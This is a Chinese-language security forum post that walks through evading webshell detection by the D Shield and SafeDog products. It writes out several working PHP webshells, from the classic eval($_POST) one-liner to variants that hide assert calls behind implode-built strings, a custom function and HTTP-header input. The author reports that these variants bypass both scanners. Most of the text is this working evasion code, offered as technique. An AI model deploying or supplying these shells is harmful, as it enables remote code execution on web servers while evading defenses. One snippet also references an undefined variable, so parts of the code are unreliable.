分享新手如何上手webshell免杀的思路
前言
看到QQ空间很多师傅都在晒某引擎的 webshell 免杀,心里还是有点摩拳擦掌的,但一直没有下定决心去尝试。一方面确实是没有信心,因为真的没有接触过,一方面还是最近很多事情影响了自己的心情,对自我能力有了否定心理。等到我想去试试的时候,引擎已经关了,活动结束了。所以这里只能找一下D盾和安全狗测试了。
bypass
这里我下载了最新版的D盾V2.1.6.2(2022-01-05)和网站安全狗V4.0,php版本为 7.4.27
首先,下面是经典的php一句话木马,当然这百分百会被检测到。
<?php eval($_POST['dotast']);?>
这里我们可以看做两个输入变量,一个是函数,一个是参数。我个人认为,免杀webshell是对防护规则的 bypass,所以我们要了解对应的防护软件的规则。首先我们保持函数不变,将变量改为不敏感的字符串,看看eval
的检测情况
<?php eval("123dotast");?>
显然,D盾对于eval
函数依然能检测到,我们换成其他能够代码执行的函数,这里举例assert
assert():如果 参数 是字符串,它将会被 assert() 当做 PHP 代码来执行。注意:从php7版本以后不支持动态调用
<?php
assert("123");
?>
依然能检测到,不过可以看见,不管是前面的eval
和assert
函数,现在级别都是判定为1。这里我们开始把目光转向参数,尝试对参数内容进行处理
implode(strings $glue, array $pieces):将一个一维数组的值转化为字符串
<?php
function dotast(){
$a = implode("",['p','h','p','i','n','f','o','(',')']);
assert($a);
}
dotast();
?>
这里将参数内容分离,然后再重新组合
可以看见虽然还是能检测到,但是和之前的判定有区别,D盾已经无法识别出参数内容。进行到这里的时候,发现了一个有意思的事情,即再前面定义的变量和assert
函数中间加一下内容,就能 bypass D盾的检测(同时还是因为加了一层自定义函数 dotast 的缘故)
<?php
function dotast(){
$a = implode("",['p','h','p','i','n','f','o','(',')']);
echo "666";
assert($a);
}
dotast();
?>
所以,一个简单的 bypass D盾的webshell就出来了
<?php
function dotast(){
$a = implode("",["e","v","a","l","(","$","_","P","O","S","T","[","'","a","'","]",")"]);
assert($a);
}
dotast();
?>
网站安全狗也成功绕过(我感觉安全狗的规则比D盾弱很多......)
接下来,尝试其他姿势,依然是assert
,这次我们配合其他函数,比如getallheaders()
从请求头中获取参数内容
getallheaders():获取全部 HTTP 请求头信息,返回值为当前请求所有头信息的数组
<?php
$a = getallheaders();
$b = $a['Dotast'];
assert($d);
?>
检测级别为1,不过对参数内容未知,我们继续加入一些字符串尝试绕过,这里我的想法是添加一些能让D盾识别到的字符串来达到一种“欺骗”的效果
<?php
$a = getallheaders();
$b = $a['Dotast'];
$c = "123";
$d = "${b}${c}";
assert($d);
?>
成功绕过D盾的检测
总结
这篇文章也只是做一个 webshell 免杀的思路分享,技巧性的东西其实没什么。我觉得 webshell 免杀更多的其实是想法,对于一个waf的规则熟悉之后,就是开拓思路去思考和罗列出哪些利用点。
- 本文作者: dota_st
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1165
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!